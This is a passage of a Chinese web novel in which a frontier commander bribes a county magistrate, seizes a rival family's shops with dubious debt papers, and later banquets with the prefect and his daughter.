“哼,打得好算盘。”张富贵冷笑一声,立刻下令:“韩勇,通知你的人退入山寨,咱们一同防守,我倒要看看幽州地方军队有多厉害。”
“富贵,这可是群匪……”王铁山脸色一变,凑近低声提醒。
张富贵却低声回应:“战机稍纵即逝,大人说过,用人不疑,疑人不用。”
随后,他又故意提高声音:“我相信韩勇、刘三兄弟,此刻,咱们互帮互助,共渡难关。”
王铁山恍然大悟,重重点了点头。
月光如洗,山寨里火光闪动。
随着命令下达,有人登上栅栏墙戒备,有人爬上箭楼瞭望,也有人驱赶着俘虏去架锅烧水。
圈里的两百头肥羊骤然惊醒,它们怕极了。
此起彼伏的“咩咩”声在空气中回荡。
张富贵站在寨墙上,望着山下渐渐逼近的火光。下令全体人员换上强弓,用三棱破甲箭。
无人察觉,斥候小队自后山分散离去,消失在夜色中。
第78章 夜宴与抉择
夜色如墨,青阳郡城华灯初上,点点灯火在暮色中连缀成一片暖光。
县衙后堂内,角落铜炉熏香袅袅,沉水香的清雅气息在空气中缓缓流淌。
门前一树蜡梅悄然绽放,冷香暗送,与室内暖意交织成独特氛围。
韩知县端坐灯下,身形挺拔,面白无须,眉目间既有儒雅书卷气,又不失三分官威。
一袭青色官袍更衬得他气质清肃庄重。
他是正经科举出身,从童生、秀才到举人,一步一个脚印踏上仕途,官至青阳县令。
任上虽无显赫政绩,却也保得一方民生安泰,百姓尚能安居乐业。
暗地里虽有些灰色进项,多是与商旅便利。
他无根无基,全凭自己苦心经营,从不敢过分放肆。
秦猛得了常胖子等人的线报,早已摸清他的底细。
此番登门,特意备了一份礼,既不过分张扬,也不失礼数。
韩齐闻知这位新晋知寨到访,不敢怠慢,开宴相迎。
秦猛只带袁飞、**二人入席,显得颇为低调。
桌上二十余碗碟次第铺开,嫩鸡、肥鸭、烧鹅俱全,各色时蔬搭配得当。
这世道的菜肴不求精细,唯重实在,不是炖便是煎炒,不似后世那般讲究,却自有丰盛气象。
袁飞、**皆苦出身,见这等油水丰足之宴,哪顾什么礼数?
当即埋头猛嚼,吃得满嘴油光。
秦猛则与韩知县觥筹交错,言笑甚欢。
烛光下,二人各怀心思,表面却是一团和气。
韩齐是正经文官出身,言谈间自是之乎者也,引经据典。
而秦猛来自后世,虽未读过八股策论,却自幼浸染华夏文脉,偶尔一句“吾日三省吾身”,或“有则改之,无则加勉”,是句句扎心见血。
韩齐初时,只道他是粗鄙武夫,不料几句下来,心底骇浪翻涌,连声赞叹:“将军大才!”
袁飞停了筷子,斜眼瞅着秦猛,面上露出古怪神色。
这厮杀汉明明**如割草,一身悍气,说起话来却文绉绉的,怎么看怎么别扭。
唯有**闷头吃喝,心中傲然:咱将军就是厉害,文武双全。
这般想着,他又狠狠咬了一口肥鸭,满口流油。
酒过三巡,菜尝五味。
宴席间的气氛越发融洽,却各怀心思。
韩齐引众人转入暖阁,命人奉上新茶。
暖阁内布置雅致,墙上挂着山水墨画,文椅相对摆放。
“此乃江南商人所赠的雨前龙井,秦将军请品。”韩齐亲自执壶,为秦猛斟茶,举止从容有度。
秦猛轻啜一口,但觉茶汤清洌,初尝微苦,而后回甘绵长,确属上品,不禁赞道:
“好茶!韩兄雅致,秦某佩服。”
放下茶盏,他神色一正,目光变得锐利:“实不相瞒,此番叨扰,有三件事请韩兄相助。”
韩齐执壶的手微微一顿,随即恢复如常,温声道:“将军但说无妨,只要在韩某权责之内,定不推辞。”
言语间既显热忱,又留足余地,可谓滴水不漏。
“皆在权责之内。”秦猛笑容意味深长,随即说起南河镇刘德才之子刘耀宗——欺男霸女、滥赌败家、无恶不作,细数其罪状,语气渐冷。
韩齐听得心头暗紧,手中茶盏险些拿不稳:人都**,还不放过?
但他面上仍作愤慨,拍案道:“刘家父子确有许多不法之事,下官在任上也曾有所耳闻。”
秦猛击掌数下。
**立即从腰间解下一只布袋,快步上前,动作利落。
袋中是一叠地契、十几张借据欠条,纸张泛黄,却叠得整整齐齐。
“半月前,刘耀宗在赌坊输于我,以此抵债。”秦猛轻推纸卷,语气淡然,仿佛在说一件再平常不过的事。
韩齐怔了怔,良久,才回过神。
他逐一验看——地契纸质泛黄、衙印清晰。
欠条格式工整,博戏双方、借款者、保人一一画押,连指印都鲜红清晰,乍看之下毫无破绽。
只是那赌坊名字荒唐:“野鸡坊”、“烤鸭馆”……输钱数额仅以“甚多”概括,担保人竟还写着“王槐”。
韩齐不是傻子,自然明白其中蹊跷。
他翻动纸卷,心思电转:前几日刘家人还来补办田产地契,说遭火焚毁,怎会全数在此?
这其中的弯弯绕绕,他再清楚不过。
“秦将军,”他神色转为肃然,斟酌着用词,“旬日前,刘家遭火,诸多契据焚毁,这些……”
“那是他们胡说!”秦猛冷笑打断,目光如刀,“明明输给了我,不甘心,便放把火烧宅搪塞。
说不准刘德才、刘耀宗也是金蝉脱壳,假死遁逃!”
韩齐眼皮一跳,牙根暗暗发酸。
本县城巡检司,县衙多方勘验,人,却是**。
这秦猛看似粗豪,实则词锋如刀,狠辣至极!
他不由得重新审视眼前这位年轻的知寨官。深吸一口气,稳住心神:“韩某还听闻,将军半月前似乎……”
“是,我那时神智昏聩。”秦猛坦然接话,毫不避讳,“但按律:我输钱不作数,别人输我却必须认!连个痴傻之人都玩不过,还有脸赖账?”
韩齐被噎得无言以对,只得苦笑。
这话虽属强词夺理,却在法理上站得住脚,让他一时不知如何反驳。
半晌,他才叹道:“秦兄此举,便是与刘判官不死不休了。”
语气中带着几分提醒,几分试探。
“我知道。”秦猛笑容骤冷,眼中寒光乍现,“他断我粮道、封我漕运,公然针对边寨叫板边军——我若不办他,日后阿猫阿狗都能踩我一脸!”
“可这……”
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韩齐眉头紧锁,仍在犹豫。
他明白秦猛是来报复的,手指无意识地摩挲着茶盏边缘。
秦猛自怀中取出两张银票,面额千两,推至对方眼前。
银票在烛光下泛着柔和的光泽,显得格外诱人。
“秦兄,这不是钱的事!”韩齐瞥了眼银票数额,心跳慢了半拍,却仍强绷着脸,语气坚决。
“若如此,便是彻底得罪刘判官,乃至整个幽州官场……韩某相帮,便是对立,今后寸步难行。”
这话说得恳切,却也透露出几分真实处境。
“那是你身后无人倚仗,又挤不进他们的圈子。”秦猛恍然大悟,一针见血,字字诛心。
“他们高高在上,几时正眼看过你?韩兄寒窗苦读十余载,难道就甘心永远做个区区县令?”
韩齐面色青白交错,手中的茶盏微微颤抖。心里头脑怒秦猛是点滴不留情面,却没有发错。
——这话戳中了他内心最深处的痛处和野望。
秦猛忽又从怀中取出几封密信与一册文书,塞入他手中。
“这是冷艳山贼首严彪身上所获密信,及审讯所得供词。”
秦猛声音压得很低,却字字清晰,“其中所载罪行,可谓罄竹难书。韩兄可自行决断。
——看,或是不看?”
他目光如炬,紧紧盯着韩齐:“看了,便再无退路,须择木而栖;不看,现在还可抽身,我去找郡守商议此事,就当今日之事从未发生过。”
韩齐指尖微颤,那册子没有封皮,薄薄的非常轻,此刻仿佛烙铁般滚烫,几乎要灼伤他的手指。
耳边如有两个声音在交织:一看则万劫不复,前程尽毁;一曰读书人风骨不可弃,初心不可负!
冷汗沁满额间,时间滴答如坠。
暖阁内静得可怕,只有烛火偶尔爆出轻微的噼啪声。
最终他一咬牙,眼中闪过决然之色,展开册页,拆阅密信——才看数行,脸上血色尽褪,继而怒意奔涌,咬牙切齿,几乎目眦欲裂。
“该死…该杀!此等行径,与谋反何异?”
他气得发抖,声音发颤,握着文书的手指因用力而发白。
册中所载血案累累,丧尽天良,令人不寒而栗。彻底击碎他为官的底线,亦点燃深埋的士人血性。
良久,他才颓然长叹,仿佛一下子老了十岁:“不想幽州官场,已腐至如此……若非亲眼所见,实在难以置信。”
秦猛收回文书,冷声道:“刘德福不过是小卒,此次必须得死。不然,有些人又得肆无忌惮。”
韩齐深吸一口气,毅然抬头,目光已然不同:“**偿命,欠债还钱——天公地道!地契,欠条让专人核验过后,若是真,便依律办事。”
他语气坚决,已然做出抉择。
——不屑与幽州地方为伍,站队边军又有如何?
第79章 谋定而后动
“梆梆……”衙门外,两声梆子,有规律的响起。巡夜的更夫扯着嗓子:“天寒地冻,小心火烛。”
“好,那多谢韩兄相助!”秦猛看了眼窗外,又看了看韩齐,脸上露出真诚的笑,拱手道谢。
他不动声色地卷起两张银票,塞入对方手里。
韩齐只觉得银票沉甸甸的,突然提醒,神色凝重:“然此地终是郡城,上有郡守、郡丞。
尤其董郡丞与刘判官相交莫逆,此事恐怕不会如此简单……”
“韩兄只需出具公文,出榜安民,余事不必忧心。”
秦猛淡然一笑,语气中带着不容置疑的自信,“董郡丞?区区地方豪强,还翻不起风浪。牵扯到此事,他识趣便罢,不识趣一起拔掉。”
韩齐心中凛然,对秦猛认知再次刷新。想起他一言不合就斩杀巡检使臣,后脊莫名有凉意。
秦猛站起身,走到窗前,望着窗外沉沉的夜色,缓缓道:“你只管放手去做,被上官问起时,你推到我身上,就说我这人亮刀子威胁。
顺便站在受害者的立场上,痛斥我粗鲁野蛮。
即便是幽州那帮人得知了,也不会把你怎么样。”
“呃……”韩某看着很有经验的秦猛,彻底呆住了。
秦猛转过身看着韩齐,说着看过的职场论调:“无论做什么要随机应变,有时要骗过自己。
你想要在官场上走得更远,就得跟人抱成团。团结一切可以团结的力量,自己动手去争取。
你可以收集各方面信息,挑选对自己有利的。等时机成熟,攮翻姓董的,你来做这个郡丞。”
“啊……”韩齐差点从椅子上蹦起来,心脏却砰砰狂跳。在这一刻,他似乎看到了仕途一片光明。
“韩兄要记住了!秦某在一日,便无人能动你。虎贲军——就是我的靠山,也是你的底气。”
这话说得掷地有声,带着千钧分量。
韩齐怔怔地望着他,忽然觉得这个年轻人身上有一种令人信服的力量,让他这个在官场沉浮多年的老吏也不由得心生敬畏,自惭形秽。
秦猛又落坐回原处,续了杯茶,氤氲着热气。粗粝的手指摩挲着杯沿,目光如炬,坦言道。
“还有两桩买卖,韩大人不妨听听。”
他吹了吹浮末,啜了口茶,声音沉缓。“县衙替我军寨采办粮草,市价结算支付,这中间的差价…自然就是县衙兄弟们的跑腿钱。”
韩齐眼中精光一闪,含笑:“好,秦将军爽快!这辛苦钱,衙门里弟兄定然念您的好。”
秦猛拍了拍手掌,**心领神会,走到门口,不一会儿,拎着小布袋放在茶几上,打开袋子。
露出里面雪花似的白盐。
秦猛轻声笑道:“这是南河雪盐。”
“这是…盐?”韩齐眼睛瞪圆,不相信的询问。
他将信将疑地伸手捏了一撮,放入嘴里品尝,闭目感受半晌后,赞叹:“好盐,好盐呐!”
秦猛倾身向前,压低声音:“这就是第二件事,是雪花盐的路子。我让一成干股到你名下。
你别以为这一成少,得这种盐极为不易。借你官盐的旗号通行四方。利,咱们私下分。”
韩齐指节轻叩桌面,笑声干脆:“哈哈哈,将军这是要把韩某绑上铁血军寨的快船上啊。”
秦猛眉头挑了挑:“这可是好路子,绝非坑你。比你从商队手里获得好处更安全。可以杜绝黑心商队资助草原鞑虏,把你牵扯入其中。”
“成,这富贵,我加入!”韩齐摆手,干脆地答应。
此行三件正事谈完了,秦猛看似随意地添了句:“对了,城里流民不少,县衙顺手发个告示,招些流民去我寨子垦荒。分田给屋,管饱。”
“那真是太好了!”韩齐闻言大喜过望,霍然起身:“这件事,包在我身上,保证办得妥帖。”
“你这么高兴,吃了蜜蜂屎啊?”秦猛斜着眼问。
“不不,秦将军有所不知,韩某当这个县令当的窝心。”韩齐见秦猛似乎误会了,赶忙解释。
原来,青阳郡城,县衙,郡衙并存。
在这里当知县,被上官管着,权力被大为削弱。
县衙负责税收,田赋,户籍造册等事。除了有三班六房使唤,职责竟跟老保长王槐差不多。
城内设有郡县安置所专门安顿流民,听命于郡丞。
按律,流民不是被官府遣送返乡,就是就地安置,登记造册吸纳,发放荒地,支取钱粮补助。
而流民没有被安置,可见安置所官吏的不作为。韩齐多次陈述情况,郡衙依旧没有回应。
要不是他放粮,引导流民前往边堡,流民只会更多。
“行吧,以后若是有流民,都引导去铁血军堡落户。”秦猛搞清楚情况后,大包大揽地说道。
“好,韩某竭力办妥。”韩齐满口答应。
既然已经选择了阵营站队,他便不再犹豫。
当即召来户房书吏、承发吏,连夜核验地契,签发公文。
当那方官印重重落在公文上时,发出“咚”的一声闷响,仿佛敲定了某个重要的约定。
烛影摇曳中,两人相视一笑,一切在不言中。
窗外,夜色正浓,青阳郡城的灯火渐次熄灭。
而一场更大的风波,正在悄然酝酿。
夜深,秦猛告辞离去,带队返回军营。
他手握青阳县衙公文,又有县衙三班衙役随行,底气十足。根本不在意郡衙那边会作何反应。
——按规矩办事,讨回自家产业,天经地义!
“明日一早,按计划行事。”秦猛语气冰冷,目光扫过众人,“该拿回来的,一分都不能少。”
“是!”众人轰然应诺。
……
次日,天色阴沉,朔风卷着
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寒意呼啸而过,吹得街边幌子猎猎作响。
温度骤降,街上行人稀疏,直到日上三竿时分,才渐渐多了些人迹。
商队却依旧络绎不绝,驼铃轻响,马蹄清脆。踏过青石板路,为这座边城添了几分喧闹。
青阳郡城最好的地段,一座三层高的酒楼“清风楼”正是热闹之时。雕梁画栋、酒旗高悬,乃是城中数得上号的大酒楼,也正是刘家产业之一。
堂内人声鼎沸,跑堂伙计笑脸招待,高声吆喝。
“这位爷,您吃点啥?”
“来喽——热腾腾的驴肉火烧!”
“客官,您要的好酒,请慢用。”
……
伙计,酒保穿梭酒窖、伙房,几乎脚不沾地。
杯盘碰撞声、谈笑声不绝于耳。
新来的掌柜低头扒拉着算盘,眼角余光扫过满座宾客,心中暗喜,正自盘算能从中捞取多少油水。
就在这时,街头忽然传来隆隆马蹄声,沉重整齐,震得地面微颤!
一队铁甲官兵纵马驰至,骤然停在酒楼门前。
身后紧随而来的,是县衙快班、壮班二十多号人马,黑衣皂靴,腰佩铁尺锁链,气势汹汹。
庞仁一马当先,身上铁甲铿锵作响,大步闯入酒楼,小眼扫视,箭步冲到柜台旁,一把揪住那掌柜的衣领,几乎将他整个人提了起来!
那掌柜又惊又怒,挣扎着喊道。
“你、你们是什么人!敢在幽州刘家的地盘撒野?”
“啪啪……”
庞仁冷笑一声,正反手就是几个大嘴巴的呼在他脸上:“好大的狗胆,竟敢抢夺大人产业?”
酒楼大厅,许多食客见到这一幕,吓得从椅上蹦起来。撞到桌子,哐啷,陶瓷杯盘清脆声响。
“不**们的事,继续吃,大人有令,酒水一律半价。”庞仁转过头,朝酒楼众多食家笑了笑。
他从怀中掏出欠条和酒楼地契,“啪”的一声拍在桌上:
“看清楚了!这清风楼,早已不是刘家产业,是你们说不起帐,抵赖,它现在归秦猛秦大人所有。”
“不错,经过衙门证实,此家酒楼已经抵债他人。”快班头目立刻跳出来,朗声为食客们解释。
门外,衙役早已张贴告示,有人敲锣高声宣告,将刘耀宗赌输产业、抵债于秦猛之事说得一清二楚。
百姓围得水泄不通,议论纷纷,指指点点。
常九早已安排好了人手,立刻上前接手账册、清点库房,酒窖等,俨然已是新掌柜的模样。
“这是刘老爷的产业,你们这群强……”那原掌柜还要叫骂,却被讨好庞仁的快班头目一脚踹翻在地:“滚,再啰嗦,老子打断你的狗腿!”
衙门来人个个得了好处,自然卖力。
至于刘家?哪比得上落进口袋的真金白银!何况幽州府城离这里数百里,秦将军的刀更快!
第80章 郡城风云变
清风酒楼易主,只是开始!
秦猛昨夜就将手下分作数队,各由亲信带领。
常勇领着二十个兵卒,列队站在“瑞祥布庄”门前。
伙计出来准备招揽生意,见这阵仗顿时僵在原地。
常勇也不废话,大手一挥,兵卒们立刻上前控制住门口,他则提着腰刀,大步跨入店内。
此时,布庄里已有几位熟客挑拣绸缎,见官兵闯入,吓得纷纷后退。
掌柜是个微胖的中年汉子,正坐在柜台后拨算盘,见此情景猛地拍案站起,尖着嗓子喊:“你们是何人?敢闯刘老爷的布庄?不想活了?”
常勇眼神一冷,这虬髯汉子人狠话少,没理会他的叫嚷,径直走到柜台前,将地契和公文“啪”地拍在桌上:“刘家欠秦大人债务,此布庄已抵债。
识相的,立刻交出账册钥匙,否则别怪刀不认人!”
“放屁!”掌柜气得脸红脖子粗,伸手就要去推常勇的胳膊,“刘老爷在幽州有人脉,你们这是强抢。等刘老爷回来,定要你们吃不了兜……”
这话刚落,常勇反手就是一巴掌,甩在他脸上。
“啪”的一声脆响,掌柜被打得踉跄着撞到身后货柜,绸缎滚落一地。
“刘老爷?此布庄不是幽州刘家所有,乃刘德才家产,他儿子都欠账抵产了,还敢拿他吓唬人?”
常勇上前一步,脚踩在滚落的绸缎上,语气带着狠劲,“再敢叫一句,我卸了你胳膊!”
掌柜捂着脸,又疼又怕,却仍硬撑着哭喊:“你们这群强盗,这是刘老爷的产业,我死也不交!”
常勇不再跟他废话,冲身后兵卒使个眼色,两名兵卒立刻上前,架起掌柜的胳膊就往外拖。
掌柜挣扎着嚎啕大叫,踢翻了柜台前的凳子,却被兵卒死死按住,拖到布庄门外扔在地上。
解决了掌柜,常勇招手让常家派来的新管事进来:“立刻清点货物、核对账册,半点差错都不能有。”
“是!”新管事应声上前。
兵卒们则在店内巡视,维持秩序。
“诸位,这家布庄现归秦大人所有。大人有令,不愿干自行离去,愿意留下例钱上调半数。”
常勇又把前厅伙计,后院染布的伙计婆子召集。出示地契和官府公文,并且直接许诺好处。
顿时就让布庄伙计婆子欢欣鼓舞。
原本喧闹的布庄,片刻间便被接管得井井有条。
与此同时,城内“顺风马行”内也是一片动静。
**带着兵卒冲入马行时,马夫们正牵着马在院子里喂食,见官兵闯入,吓得纷纷躲到马厩后。
马行掌柜是个高瘦汉子,腰间别着把短刀,见状立刻拔刀指向**:“放肆,你们敢擅闯?”
“啧啧啧,此地乃我家将军产业,王某为何不能来?”**嘲讽一笑,甩出地契和官府公文。
“此处车马航被抵债,官府核验,已归秦猛大人。”
“放屁,敢动刘老爷的马行,我先劈了你!”那马行掌柜闻言勃然大怒,直接抽出腰间刀子。
**嗤笑一声,手中**一挑。
“当”的一声,打飞那掌柜的短刀。
短刀钉在院墙上,刀柄还在微微颤动。
掌柜吓得脸色煞白,**已上前一步,伸手给他一耳光,揪住他的衣领,将人提得离地半尺。
“刘德才欠秦大人的债,这马行是秦大人的产业。刘德福也敢插手?交账册,还是挨揍,选一个!”
“我选你娘!”掌柜色厉内荏地叫骂,抬腿就要踢**。
**眼神一厉,手臂一甩,将掌柜狠狠摔在地上。不给他爬起来的机会,用脚重重地踩踏。
咔嚓,
那汉子发出杀猪般的惨叫,挣扎着要爬起来。
**的脚已踩在他胸口,力道大得让他喘不过气。
“还敢嘴硬?”**冷哼:“刘德福要真手眼通天,就不会使用见不得人的伎俩,今天这马行,老子收定了。”
掌柜被踩得动弹不得,只能趴在地上哭喊:“老爷不会放过你们的,郡丞大人也不会饶了你们!”
**懒得跟他纠缠,冲兵卒喊:“把他拖出去,别在这碍眼。再敢袭击边军,当场格杀。”
“是!”
两名兵卒上前,像拖死狗一样把掌柜拖出了马行。
随后,**让衙役张贴告示,又让新管事清点马匹、车驾和账册。
马行里的马夫们见掌柜被收拾,没有人敢反抗,只能乖乖配合。
不过新马行管事宣布例钱上涨后,人人兴奋。自己拿钱办事,马行到底归属谁与他们何干?
“顺风马行”的牌子虽还挂着,内里却已换了主人,一切都在**的掌控下,有条不紊地推进着。
安顿好后,他又率队赶往下一处。
短短半个时辰,青阳郡内风云骤起!
凡隶属刘德才名下的粮油铺、布庄、茶坊、首饰店等十来处铺面,竟尽数易主。
就连郡城周边南河镇、双塔镇、北狼口集等地的刘家产业,也遭遇了同样的命运!
尤其是常九最为看重的南河镇码头,也未能幸免。
地契、欠条开路,官府公文保驾护航,一句“欠债还钱,天经地义”,便让这些产业被强行收走。
这便是秦猛的手段,一力破万法!
既然不讲规矩、撕破脸皮,便休怪他人不拘律法、以手段反制。
刘德福安
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插的掌柜、管事们,要么被直接扔出门外,要么挨了顿拳脚,叫骂越凶,打得越狠!
若是嚣张蛮横之辈,如亮出刀子,更是被打断手脚,像条死狗般狼狈。
最终,这群人鼻青脸肿、瘸着腿,一窝蜂奔往就近衙门告状,可集镇官署竟无一人敢受理。
唯独青阳郡城的郡丞衙门“头铁”。
十来个掌柜带着心腹齐聚门口,击鼓鸣冤、哭嚎震天。
他们多是从幽州而来、彼此相识,三五成群地哭诉遭遇、骂声不断,引来了大批百姓围观。
可县衙早已张贴的榜文,早已扭转了民心——
“呸!臭不要脸,欠债还钱,输不起就别玩。”
“就是!秦大人几次沟通都被欺压,听说还被打伤。我记得这件事,如今上门讨债,还有脸来告状?”
“那刘扒皮本就坏事做尽,连清风楼都是他抢来的!”
在人群中有心人的引导下,被欺压的人旧事重提。百姓们纷纷附和,**彻底倒向“受害者”秦猛。
郡丞董袭闻讯后,勃然变色。
待他看到心腹揭来的榜文,更是惊出一身冷汗。
他这才恍然大悟:
秦猛哪是来抓捕奸细,分明是借此事与县衙串通,巧立名目、合理合法地抄没刘家产业。
以此报复漕运被封之仇!
“好、好哇!好一个秦猛……竟用这种手段!”董袭咬牙切齿。
想起今日设宴相邀被秦猛推脱,原来对方早有谋划,摸清自己底线,不愿与自己牵扯太深。
他与幽州刘德福相交多年、同属一阵营,绝不能坐视不管,当即整衣肃容,疾步赶往郡守衙门。
可郡守衙门榭厅却是另一番热闹光景。
五品郡守林安国正设宴款待秦猛,这位四十来岁、面皮黝黑的魁梧官员,手握一郡军队训练、百姓教化、民生科举等实权,此刻却对秦猛礼遇有加。
秦猛带着袁飞赴宴,行下官礼后。
他特意拉过袁飞“扯虎皮做大旗”:“林大人,这位乃是飞虎卫赵将军的亲卫猛将袁飞!”
“袁将军?失敬!快快请坐!”林安国面露诧异,连忙拱手见礼,姿态竟与昨夜的韩知县如出一辙。
——显然,赵将军亲卫猛将随行协助,着实唬人。他也在暗自揣测这秦猛究竟是何来历。
而这正是秦猛带袁飞前来的原因:
昨夜韩知县被“忽悠”,袁飞的身份占了大半功劳。
袁飞虽看穿自己被“待价而沽”,但却没有发作。斜眼瞪着秦猛,似在说“等回去再算账”。
当看到满桌酒肉,这位袁将军顿时不拘小节,端着酒碗,夹着肉菜,甩开腮帮子猛吃起来。
第81章 林家有女
厅内烛火摇曳,映照着三人神色各异的脸庞。
秦猛与林安国相对而坐,红木桌案上摆着各类精致菜肴,烫了两壶好酒。却只见袁飞风卷残云般大快朵颐,筷子所到之处,盘盏皆空。
林安国眉头越皱越紧,指节在桌面上轻轻叩击。作为正儿八经的文官,最是讲究规矩礼法。
秦猛也脸颊发烫,以笑声来掩饰:“哈哈哈,林大人,这小子在我这儿,没有赵将军约束。
如天高任鸟飞,海阔凭鱼跃。请多担待一二。”
说罢,他在桌下重重踩了袁飞一脚。
青年这才讪讪放下筷子,抹了抹油光发亮的嘴角。
“天高任鸟飞,海阔凭鱼跃!”林安国却被这话吸引,反复咀嚼着这十个字,忽然击节赞叹。
“秦知寨言语精辟,意境开阔,当真了不起!”
秦猛举杯笑道:“大人谬赞了,来,我俩敬大人一杯,祝贺升迁之喜。”
他又拉了拉身旁的袁飞:“来,一同敬林大人一杯。”
袁飞虽不善言辞,却也懂得察言观色,立刻端起酒杯,跟着秦猛一同起身,口中含糊地附和。
“祝林大人升官发财!”
林安国见状,亦双手端杯起身还礼,脸上堆起官场特有的温和笑容,口中说着“同喜”“客气”之类的应酬话。
三人酒杯相碰,清脆的声响在水榭中漾开,初时的些许拘谨也随之消散。
林安国却只浅抿一口,目光仍在秦猛身上流转,似在重新审视这位传闻中只懂厮杀的边关武将。
三人重新入座!
秦猛与林安国你来我往,推杯换盏,话题从边关的草原鞑虏,风土人情聊到地方的政务民生,偶尔也提及朝中动向,竟意外地十分投缘。
林安国本是文官出身,却对边关战事颇有兴趣。
秦猛便捡些不涉机密的趣闻讲给他听,时而穿插几句对防务的独到见解,听得林安国连连点头。
林安国也向秦猛透露了些地方上的难处,比如近来粮税收缴不易,郡城的乡绅们总以各种理由拖延,或瞒报土地,言语间满是无奈。
酒过三巡,林安国脸颊已染上酡红,眼神也多了几分醉意。
他握着酒杯,身子微微前倾,声音带着几分郑重:“昨日之事,本府已然知晓,多谢秦将军搭救小女之恩!若不是将军出手,婉儿恐怕……”
“林大人客气了。”秦猛正欲开口谦虚几句,却被林安国抬手打断。
“哎,救命之恩,岂能草草了事?秦将军不必过谦。”说罢,他转过头,朝水榭后方的后堂皱着眉喊了一声:“婉儿,出来敬贵客一杯酒!”
声音不算严厉,却带着几分不容置喙的意味。
良久,后堂才传来一道轻柔却带着几分不情愿的女子声音:“爹爹,女儿身体不适,恐不能陪客。”
那声音细细软软,像是怕惊扰了人,却又藏着一丝抵触。
“休要瞒我!让你来,你便来。”林安国脸色微微一沉,语气也重了几分,显然是看穿了女儿的借口。
“来啦!”又过了片刻,后堂终于传来一道清脆的应答,只是那声音里的不情不愿依旧清晰可闻。
林安国这才转过头,朝秦猛和袁飞露出歉意的笑容:“两位见笑了,是林某拙荆走得早,平时太惯着这丫头,让她性子变得这般娇纵。”
“林大人这是慈父心肠,哪里算娇纵?”
秦猛顺着他的话接了一句,这是他在后世练就的本事,总能在恰当的时候说些让人舒心的话。
话音刚落,便见一道白色身影从竹帘后走了出来。
女子身着一袭月白色长裙,裙摆绣着细碎的兰花纹路,行走间衣袖飘飘,宛如月下仙子。
不是昨日被他从**手中救下的女子,又是谁?
秦猛心中其实早已猜到几分——林安国提及女儿,又恰是昨日遇险,两者重合的概率太大。
可当真正看到林婉儿的模样时,还是不由得微微错愕。
比起昨日在山道上的惊慌狼狈,今日的林婉儿显然精心打理过,发髻上插着一支碧玉簪,脸上略施薄粉,眉宇间透着官家千金特有的贵气。
只是那精致的小脸上却覆着一层寒霜,柳眉微蹙,显然对父亲让自己出来陪客的事满心不悦。
“爹爹,女儿不想搅和这些官场应酬,更不想刻意去讨好别人……”林婉儿声音带着几分委屈。
话还没说完,却猛地憋了回去,只因她抬眼望去。
坐在父亲对面的并非什么脑满肠肥的富商,也不是油滑世故的官场子弟,竟是昨日在荒野上救自己于危难之中的那位黑甲将军——秦猛!
“爹爹,你怎不早点说?女儿也好梳妆打扮一番,这般模样……”
林婉儿瞬间霞飞双颊,双手下意识地绞着裙摆,竟当着外人的面跺了跺脚,带着几分撒娇的意味。
可话刚出口,她便意识到场合不对,俏脸瞬间红得更厉害了,像是熟透的苹果,连耳根都染上了粉色。
林婉儿定了定神,提着裙摆莲步轻移,快步走到秦猛面前,微微曲膝,行了一个标准的万福礼。
她声音也变得轻柔了许多:“秦将军恕罪,方才是婉儿失礼,婉儿这就敬您一杯,以谢昨日救命之恩。”
说着,她亲自为秦猛斟满酒,又给自己倒了一杯。
“多谢将军昨日出手相救,此恩婉儿没齿难忘。”
“举手之劳,林姑娘不必介怀。”秦猛谦逊地笑了笑。
“没想到林姑娘竟是林郡守的千金,昨日事态紧急,若有照顾不周之处,还望见谅。”
“秦将军说笑了,您是婉儿的救命恩人,感激还来不及,怎会怪罪?”
林婉儿脸颊依旧绯红,却壮着胆
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子抬起头,目光直直地看着秦猛,语气诚恳:“救命之恩,婉儿且敬将军一杯,还望将军莫要推辞。”
秦猛见状,便放下手中的筷子,端起酒杯,与她轻轻一碰,“哐”的一声轻响,格外清晰。
他仰头一口饮尽杯中酒,温酒入喉,带着几分暖意。
林婉儿则用宽大的衣袖遮着半边脸,小口饮尽杯中酒,放下酒杯时,恰好与秦猛的目光撞个正着。
她眼神慌乱地移开,心跳却不由自主地加快了几分。
席间的气氛,在这一刻突然变得微妙起来。
林婉儿先前的不悦早已荡然无存,取而代之的是少女的娇羞,她时不时抬眼偷瞥秦猛,眼波流转间满是柔情,哪还有半分方才的不情愿?
林安国将这一切看在眼里,眉头不禁微微皱起,眼中闪过担忧,不悦,以及一丝复杂的神色。
他本是想让女儿来亲自道谢,却没料到女儿竟对秦猛生出这般情愫,这可不是他想看到的。
他林安国之女岂能嫁给一个武夫?
一旁的袁飞倒是看得通透,他手里拿着啃了一半的鸡腿,像是在看一场早已预料到的戏码。
林安国轻咳一声,打破了这微妙的氛围,指了指自己身旁的空位:“婉儿,过来坐,别总站着。”
林婉儿这才回过神,乖巧地走到林安国身边坐下。
只是心思显然不在父亲身上。
刚坐下没多久,她便主动找话题,声音温柔得能掐出水来:“秦将军,听爹爹说您一直在边关驻守。
不知拒马河有多宽?
边寨的日子是不是很苦?
还有,草原是不是真的像书中写的那样,无边无际呀?”
她一连串问了好几个问题,样子活泼,叽叽喳喳的,像只好奇的小鸟,眼神里满是向往。
秦猛被这突如其来的热情弄得一怔,见女孩兴致勃勃,也不忍扫了她的兴,随即笑道讲解。
“拒马河宽千米,汛期时水流湍急,奔腾咆哮入东海,也被称为界河,抵御**的天然屏障。
边寨的日子确实辛苦,冬天寒风刺骨,夏天蚊虫肆虐,不过兄弟们都习惯了,而且景色美。”
他说着抬手比划,腕甲与护臂碰撞叮当作响:“至于草原,确实广阔无垠,尤其是到了夏天,漫山遍野都是青草,真正的风吹草低见牛羊,夜里还能看到满天的星星,比城里亮多了。”
林婉儿听得入了迷,时不时点头附和,还主动为秦猛添酒,两人有说有笑,时不时碰杯,气氛愈发融洽。
反倒是边上的林安国被晾在了一边,他看着眼前这一幕,脸色渐渐变得难看,放在膝上的手也不自觉地握紧了。
他怎么也没想到,自己的女儿自幼饱读圣贤书,心高气傲,对官宦子弟不假颜色,竟会对一个边关武将如此热情,这让他心中很不是滋味。
第82章 榭厅外起波澜
“秦将军,婉儿再敬您一杯。”
榭厅内,林婉儿与秦猛一问一答,言笑晏晏。女孩斟酒的动作格外郑重,双手捧杯举过眉梢:“将军那日斩敌的英姿,婉儿便难以忘...”
话音未落,酒液晃出杯沿,秦猛急忙伸手托住杯底,指尖不经意擦过她的手腕。两人俱是一震,酒盏在空中微晃,映出四目相对的瞬间。
“秦某是个粗人,当不起小姐如此。”秦猛仰头饮尽,心虚地偏过头。
